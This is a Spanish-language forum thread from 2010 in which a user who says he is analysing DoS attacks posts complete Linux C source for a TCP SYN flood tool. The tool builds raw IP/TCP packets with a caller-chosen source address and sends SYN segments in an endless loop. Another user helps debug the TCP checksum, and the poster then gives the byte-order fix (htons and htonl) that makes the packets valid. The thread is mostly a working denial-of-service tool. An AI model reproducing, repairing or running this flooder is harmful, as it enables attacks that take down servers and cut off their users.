C/Visual C - Problema checksum TCP

   
Vista:

Problema checksum TCP

Publicado por Carlos (15 intervenciones) el 10/11/2010 14:46:16
Estoy haciendo un analisis sobre ataques DoS, uno de los cuales es un TCP SYN Flood para el que me he creado un programa que implemente este tipo de ataque. Tengo el problema de que el checksum de TCP me sale erroneo al capturar trazas con wireshark, pero no me ocurre eso con el de IP, lo que mosquea un poco. Para calcular el de IP lo hago sobre la cabecera IP (no hay datos IP) y para el de TCP lo hago sobre la pseudocabecera y la cabecera TCP (tampoco hay datos TCP). He probado con diferentes implementaciones del algoritmo del checksum, pero con todas obtengo el mismo resultado, el checksum de TCP es erroneo, ya no se que mas hacer ni donde puede estar el problema, si me pueden ayudar a encontrarlo se lo agradecere.

Por otro lado, tambien queria preguntar si envio diferentes paquetes desde la misma ip y el mismo puerto a un equipo con windows vista al puerto 80 en el que corre un servidor apache, al hacer netstat debrian aparecerme todas las coenxiones SYN que se crean? Unicamente me aparece una por muchos paquetes que envie (hice una ñapa tomando el checksum valido que me daba wireshark para probar y poniendolo "a mano").

Les pego el codigo del programa:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>

#define PUERTOF 7001 //Puerto origen de los datos

//Pseudocabecera TCP definida en RFC 793
struct tcpph
{
unsigned long origen; //IP origen
unsigned long destino; //IP destino
char zero; //Campo rellenado con 0
char ptcl; //Protocolo
unsigned short tcpl; //Tamaño de la cabecera TCP + datos TCP
};

void enviarSegmentoTCP(char * ,char * ,unsigned int );
unsigned short chkSum(unsigned short * ,int );
void printHex(unsigned char * ,unsigned int ,unsigned short );

int main(int argc,char **argv)
{
if(argc!=4)
{
printf("Uso: %s <IP origen> <IP destino> <puerto desino>\n",argv[0]);
return 0;
}

enviarSegmentoTCP(argv[1],argv[2],atoi(argv[3]));

return 0;
}

void printHex(unsigned char *datos,unsigned int len,unsigned short pal8_16)
{
int i=0;

if((datos==NULL) || (len<1))
return;

if (!pal8_16)
for(i=0;i<len;i+=2)
printf("Byte %d -> 0x%X \t\t\t Byte %d -> 0x%X\n",i,*(datos+i),i+1,*(datos+i+1));
else
for(i=0;i<len;i+=2)
printf("Dbyte %d -> 0x%X\n",i,*((unsigned short *)(datos+i)));
}

//Calculo del checksum de IP y TCP
unsigned short chkSum(unsigned short *buffer,int longitud)
{
//Acumulador de sumas de palabras de 16 bit
register int suma=0;
//Checksum final
unsigned short chk=0;
//Si los bytes son impares sobrara 1 al final
unsigned short resto=0;

printf("Calculando checksum:\n");

while(longitud>1)
{
suma += *buffer++; //Añadir la siguiente palabra de 16 bit
longitud-=2; //Reducir los bytes restantes en 2 (16 bit)
}

if(longitud==1) //Si sobra un ultimo byte, sumarlo
{
*(unsigned char *)(&resto) = *(unsigned char *)buffer;
suma+=resto;
}

printf("suma -> 0x%X\n",suma);

suma = (suma >> 16) + (suma & 0xFFFF); //Añdir los 16 bit de mas peso a los 16 de menor peso
suma += (suma >> 16); //Añadir el acarreo
chk = ~suma; //Complementar a 1

printf("checksum calculado -> 0x%X\n",chk);

return (chk);
}

//Rellena las cabeceras y envia el datagrama
void enviarSegmentoTCP(char *ipo,char *ipd,unsigned int puertod)
{
int sck=0,nSyn=0;
char *paquete=NULL;
char *cabTcpPseudo=NULL;
struct sockaddr_in sin; //Direccion donde enviar los datos para usar con sendto()
struct tcphdr *cabTcp; //Cabecera TCP definida en tcp.h
struct tcpph pseudo; //Pseudocabecera TCP
struct iphdr *cabIp; //Cabecera IP definida en ip.h

size_t tamTcph=0,tamPseudoh=0,tamIph=0; //Tamaño de cada cabecera

if((ipo==NULL) || (ipd==NULL) || (puertod<1) || (puertod>65535))
{
printf("No se pudo crear el paquete. Datos no validos\n");
return;
}

printf("Creando paquete...\n");
printf("\tIP origen -> %s\n",ipo);
printf("\tIP destino -> %s\n",ipd);
printf("\tPuerto destino -> %d\n",puertod);

//Rellenar la direccion para darsela a sendto() despues
sin.sin_family=AF_INET;
sin.sin_port=htons(puertod);
inet_aton(ipd,&sin.sin_addr);
memset(sin.sin_zero,0,8);

printf("\tIP destino convertida -> %X\n",sin.sin_addr.s_addr);
printf("\tPuerto destino convertido -> %X\n",sin.sin_port);

tamTcph=sizeof(struct tcphdr); //Tamaño de la cabecera TCP
tamPseudoh=sizeof(struct tcpph); //Tamaño de la pseudocabecera TCP
tamIph=sizeof(struct iphdr); //Tamaño de la cabecera IP

printf("Tamaño cab IP -> %d\tTamaño cab TCP -> %d\tTamaño PseudoCab -> %d\n",tamIph,tamTcph,tamPseudoh);

//Reservar memoria para el paquete
paquete=calloc(tamIph+tamTcph,1);

printf("Creando cabecera IP...\n");

//Rellenar la cabecera IP
cabIp=(struct iphdr *)paquete;//Señalar la parte de IP con el puntero para rellenar los datos
cabIp->version=4; //version del protocolo IP
cabIp->ihl=tamIph/4; //tamaño de la cabecera
cabIp->tos=0; //Tipo de servicio
cabIp->tot_len=tamTcph + tamIph; //Tamaño del datagrama completo
cabIp->id=htons(random()); //identificador para distinguir los fragmentos
cabIp->frag_off=0; //offset de este fragmento
cabIp->ttl=255; //Time To Live
cabIp->protocol=IPPROTO_TCP; //Protocolo a usar
cabIp->check=0; //IP checksum, se calculara despues pero inicialmente se debe poner a 0
cabIp->saddr=inet_addr(ipo); //direccion IP origen
cabIp->daddr=sin.sin_addr.s_addr; //direccion IP destino

//Calculo del checksum IP
cabIp->check=chkSum((unsigned short *)paquete,tamIph);

printf("\tTamaño de la cabecera IP -> 0x%X\n",cabIp->ihl);
printf("\tVersion del protocolo IP -> 0x%X\n",cabIp->version);
printf("\tTOS -> 0x%X\n",cabIp->tos);
printf("\tTamaño del datagrama completo -> 0x%X\n",cabIp->tot_len);
printf("\tID fragmento -> 0x%X\n",cabIp->id);
printf("\tOffset fragmento -> 0x%X\n",cabIp->frag_off);
printf("\tTTL -> 0x%X\n",cabIp->ttl);
printf("\tProtocolo de niv superior -> 0x%X\n",cabIp->protocol);
printf("\tChecksum -> 0x%X\n",cabIp->check);
printf("\tDir. IP Origen convertida -> 0x%X\n",cabIp->saddr);
printf("\tDir. IP Destino convertida -> 0x%X\n",cabIp->daddr);

printf("Creando cabecera TCP...\n");

//Rellenar la cabecera TCP
cabTcp=(struct tcphdr *)(paquete + tamIph); //Apuntar la cabecera TCP despues de la cabecera IP
cabTcp->source=htons(PUERTOF); //puerto fuente
cabTcp->dest=sin.sin_port; //puerto destino
cabTcp->seq=random(); //numero de secuencia
cabTcp->ack_seq=0; //numero de secuencia de confirmacion
cabTcp->doff=tamTcph/4; //longitud de la cabecera
//Flags TCP
cabTcp->res1=0;
cabTcp->fin=0;
cabTcp->syn=1; //flag para establecimiento de conexion
cabTcp->rst=0;
cabTcp->psh=0;
cabTcp->ack=0;
cabTcp->urg=0;
cabTcp->res2=0;
//Resto campos segmento TCP
cabTcp->window=htons(65535);
cabTcp->check=0; //Checksum TCP, lo calculamos despues. Inicialmente hay que ponerlo a 0
cabTcp->urg_ptr=0;

printf("\tPuerto fuente convertido -> 0x%X\n",cabTcp->source);
printf("\tPuerto destino convertido -> 0x%X\n",cabTcp->dest);
printf("\tNumero secuencia -> 0x%X\n",cabTcp->seq);
printf("\tNumero secuencia confirmacion -> 0x%X\n",cabTcp->ack_seq);
printf("\tLongitud de la cabecera -> 0x%X\n",cabTcp->doff);
printf("\tFlags -> 0x%X\n",(cabTcp->res1|cabTcp->fin|cabTcp->syn|cabTcp->rst|cabTcp->psh|cabTcp->ack|cabTcp->urg|cabTcp->res2));
printf("\tVentana -> 0x%X\n",cabTcp->window);
printf("\tChecksum -> 0x%X\n",cabTcp->check);
printf("\tPtr Urgente -> 0x%X\n",cabTcp->urg_ptr);

printf("Creando pseudocabecera TCP...\n");

//Rellenar la pseudocabecera TCP
pseudo.origen=cabIp->saddr; //direccion IP origen
pseudo.destino=cabIp->daddr; //direccion IP destino
pseudo.zero=0; //byte rellenado con 0
pseudo.ptcl=IPPROTO_TCP; //protocolo usado
pseudo.tcpl=tamTcph; //Tamaño de la cabecera TCP, no hay datos

printf("\tDireccion IP origen convertida -> 0x%X\n",pseudo.origen);
printf("\tDireccion IP destino convertida -> 0x%X\n",pseudo.destino);
printf("\tCampo zero -> 0x%X\n",pseudo.zero);
printf("\tProtocolo -> 0x%X\n",pseudo.ptcl);
printf("\tTamaño cabecera TCP -> 0x%X\n",pseudo.tcpl);

//Unir la cabecera y la pseudocabecera en el mismo buffer
cabTcpPseudo=calloc(tamTcph + tamPseudoh,1);
memcpy(cabTcpPseudo,&pseudo,tamPseudoh);
memcpy(cabTcpPseudo + tamPseudoh,cabTcp,tamTcph);

printf("Buffer para checksum:\n");
printHex((unsigned char *)cabTcpPseudo,tamPseudoh + tamTcph,0);
printf("\n");

//Calcular el checksum TCP ahora que ya estan todos los datos
cabTcp->check=chkSum((unsigned short *)cabTcpPseudo,tamTcph + tamPseudoh);
//cabTcp->check=0xA709;
printf("Checksum TCP -> 0x%X\n\n",cabTcp->check);

free(cabTcpPseudo); //Liberar el espacio reservado no necesario

printf("Paquete:\n");
printHex((unsigned char *)paquete,tamTcph+tamIph,0);

printf("Creando socket\n");

//Crear el socket en modo RAW para poder enviar las cadenas
//que se quieran sin alteraciones
sck=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);

if(sck<0)
{
printf("Error creando el socket. ¿Es usuario root?\n");
return;
}

//Notificamos al socket que las cabeceras ya estan incluidas
//para que no añada las suyas propias
int ok=1;
if(setsockopt(sck,IPPROTO_IP,IP_HDRINCL,&ok,sizeof(int))<0)
{
printf("No se pudo notificar la inclusion de cabeceras\n");
return;
}

printf("Enviando el datagrama\n");

//Enviar el datagrama
while(1)
{
sendto(sck,paquete,tamTcph+tamIph,0,(struct sockaddr *)&sin,sizeof(struct sockaddr_in));
nSyn++;
printf("\rEnviado SYN %d",nSyn);
}
}
Valora esta pregunta
Me gusta: Está pregunta es útil y esta claraNo me gusta: Está pregunta no esta clara o no es útil
0
Responder

RE:Problema checksum TCP

Publicado por Carlos (15 intervenciones) el 10/11/2010 15:11:54
Se me olvido mencionar que el codigo esta hecho para linux, concretamente lo cree sobre debian 5
Valora esta respuesta
Me gusta: Está respuesta es útil y esta claraNo me gusta: Está respuesta no esta clara o no es útil
0
Comentar

RE:Problema checksum TCP

Publicado por Tom (481 intervenciones) el 10/11/2010 15:30:29
Ummm ¿estás tomando en cuenta el byte-order de los shorts que usas para el checksum ?
Si estás ejecutando esto en una máquina x86 ... es little-endian, y creo recordar que el network byte-order es big-endian (por eso usas htons() en algunos campos de la cabecera) ...
Valora esta respuesta
Me gusta: Está respuesta es útil y esta claraNo me gusta: Está respuesta no esta clara o no es útil
0
Comentar

RE:Problema checksum TCP

Publicado por Carlos (15 intervenciones) el 10/11/2010 16:21:04
Pero si el problema fuera el byte order no deberian fallarme los demas campos tambien? No uso en todos htons() por lo que se les asigna el valor sin tener en cuenta byte order, pero aparecen como validos y con los valores que deben.

Por otro lado, si el problema fuera ese, ¿deberia construir el buffer para calcular el checksum colocando la pseudocabecera al reves (comenzando desde el final de esta a copiarla) y despues hacer lo mismo con la cabecera TCP ?
Valora esta respuesta
Me gusta: Está respuesta es útil y esta claraNo me gusta: Está respuesta no esta clara o no es útil
0
Comentar

RE:Problema checksum TCP

Publicado por Tom (481 intervenciones) el 10/11/2010 17:31:00
El problema es que sólo usas, como es lógico, htons() para asignar los valores que son short ... pero tienes muchos otros que son de tamaño de 1 byte. Si el buffer de caracteres lo lees como un buffer de shorts, te va a leer dos bytes seguidos cada vez y para tratarlos como un short hará, si el order es litle-endian byte[0] + (byte[1] * 0xFF), y si es big-endian byte[0] * 0xFF + byte[1].

La resolución del problema ... sinceramente no se me ocurre, o se me ocurre una pero la veo demasiado compleja: debes tratar los shorts de tu buffer con htons() antes de meterlos en el cálculo de checksum, pero exceptuando aquellos que sabes que están en el orden correcto (los que tú ya has asignado con htons()):

suma += htons(*buffer++); //Añadir la siguiente palabra de 16 bit

¿ Quizás hay algún algoritmo que calcule el checksum en base al valor de los bytes, y no de shorts ?
Valora esta respuesta
Me gusta: Está respuesta es útil y esta claraNo me gusta: Está respuesta no esta clara o no es útil
0
Comentar

RE:Problema checksum TCP

Publicado por Carlos (15 intervenciones) el 10/11/2010 20:11:19
A ver, pero entonces hay algo que no entiendo, en la RFC 1071, en el apartado b del capitulo 2 dice que se puede operar independientemente del byte order ya que al leer y escribir las cosas en memoria se intercambian. Esta en ingles, asi que lo mismo lo he interpretado mal, el link es el siguiente:

http://www.faqs.org/rfcs/rfc1071.html
Valora esta respuesta
Me gusta: Está respuesta es útil y esta claraNo me gusta: Está respuesta no esta clara o no es útil
0
Comentar

RE:Problema checksum TCP

Publicado por Tom (481 intervenciones) el 11/11/2010 10:23:22
No, bueno, lo de que se intercambian es solo en el ejemplo concreto que pone en el texto ...

De todos modos no me he empollado el algoritmo ... y si el RFC dice que da lo mismo el byte order, por supuesto me lo creo.

Llegados a este punto, ni idea ... quizás tengas algún error de esos tontos en el algoritmo ...
Valora esta respuesta
Me gusta: Está respuesta es útil y esta claraNo me gusta: Está respuesta no esta clara o no es útil
0
Comentar

RE:Problema checksum TCP

Publicado por Carlos (15 intervenciones) el 11/11/2010 10:58:18
Yo creo que el problema esta en los datos que toma para calcular el checksum, o quiza al enviar el paquete algo cambie. Pero si el algoritmo funciona para IP, para TCP tambien, ya que cambian los datos pero las operaciones son las mismas. Por otro lado, una calculadora que habia por internet para checksum TCP me daba el mismo resultado que en mi programa sobre los mismos datos, asi que algun dato debe estar cambiando, lo jodido va a ser encontrar cual :( bueno, gracias por la ayuda, seguire buscando donde se esconde xD
Valora esta respuesta
Me gusta: Está respuesta es útil y esta claraNo me gusta: Está respuesta no esta clara o no es útil
0
Comentar

RE:Problema checksum TCP

Publicado por Tom (481 intervenciones) el 11/11/2010 10:57:44
¿ Por qué no pruebas este algoritmo, que parece bastante compacto ? :

http://www.arcesio.net/checksum/checksumTCP.html
Valora esta respuesta
Me gusta: Está respuesta es útil y esta claraNo me gusta: Está respuesta no esta clara o no es útil
0
Comentar

RE:Problema checksum TCP

Publicado por Tom (481 intervenciones) el 11/11/2010 10:59:03
Perdón, esta es la página:

http://www.arcesio.net/checksum/checksuminternet.html
Valora esta respuesta
Me gusta: Está respuesta es útil y esta claraNo me gusta: Está respuesta no esta clara o no es útil
0
Comentar

RE:Problema checksum TCP

Publicado por Carlos (15 intervenciones) el 11/11/2010 13:12:26
Si, conozco la pagina, probe ese algoritmo hace tiempo, junto con muchos otros. De hecho la comprobacion que aparece ahi de que la suma de las palabras mas el checksum debe dar 0xFFFF tambien la he hecho, y efectivamente me daba eso, por lo que se deberia suponer que el resultado es correcto, no? xD Sigo pensando que no es por el algoritmo (debido a que ya he probado muchos algoritmos y a lo que cuento a continuacion), algo cambia por el camino, si ejecutas el codigo que pegue, el paquete se imprime byte a byte mientras se contruye y una vez construido se pueden ver los datos a enviar, puedes ver la pseudocabecera y la cabecera TCP, meti esos bytes en la calculadora del checksum tcp que daban en:

http://moat.nlanr.net/Software/HEC/hexhec.html

y me salio lo mismo que calculaba mi programa, tal cual, no cambio ni un bit, asi que con estos datos no me parece logico que sea a causa de la implementacion. El caso es que no parece cambiar nada mientras el datagrama esta purulando por ahi, es decir, wireshark me saca exactamente la misma secuencia de bits que la que muestra el programa.

Probare a usar ese algoritmo de nuevo a ver, ya no tengo mas ideas sobre que hacer, asi que habra que volver a probar cosas, pero ya te digo que lo hice y el resultado fue el mismo que el que tengo ahora, IP bien, TCP mal :(
Valora esta respuesta
Me gusta: Está respuesta es útil y esta claraNo me gusta: Está respuesta no esta clara o no es útil
0
Comentar

RE:Problema checksum TCP

Publicado por Carlos (15 intervenciones) el 11/11/2010 13:22:04
Ya lo he probado, el problema sigue persistiendo
Valora esta respuesta
Me gusta: Está respuesta es útil y esta claraNo me gusta: Está respuesta no esta clara o no es útil
0
Comentar

RE:Problema checksum TCP

Publicado por Carlos (15 intervenciones) el 11/11/2010 20:00:17
Hola! he dado con la solucion, efectivamente la culpa era por el byte order, pero no a la hora de calcular el checksum en si, sino que en la linea:

pseudo.tcpl=tamTcph;

es un valor que hay que asignar en representacion de red, asi que poniendo:

pseudo.tcpl=htons(tamTcph);

y en el numero de secuencia del campo cabTcp->seq hay que hacer lo mismo pero usando htonl()

Con estos cambios el checksum sale sin problemas :D
Valora esta respuesta
Me gusta: Está respuesta es útil y esta claraNo me gusta: Está respuesta no esta clara o no es útil
0
Comentar

RE:Problema checksum TCP

Publicado por Tom (481 intervenciones) el 12/11/2010 11:39:39
:)
Valora esta respuesta
Me gusta: Está respuesta es útil y esta claraNo me gusta: Está respuesta no esta clara o no es útil
0
Comentar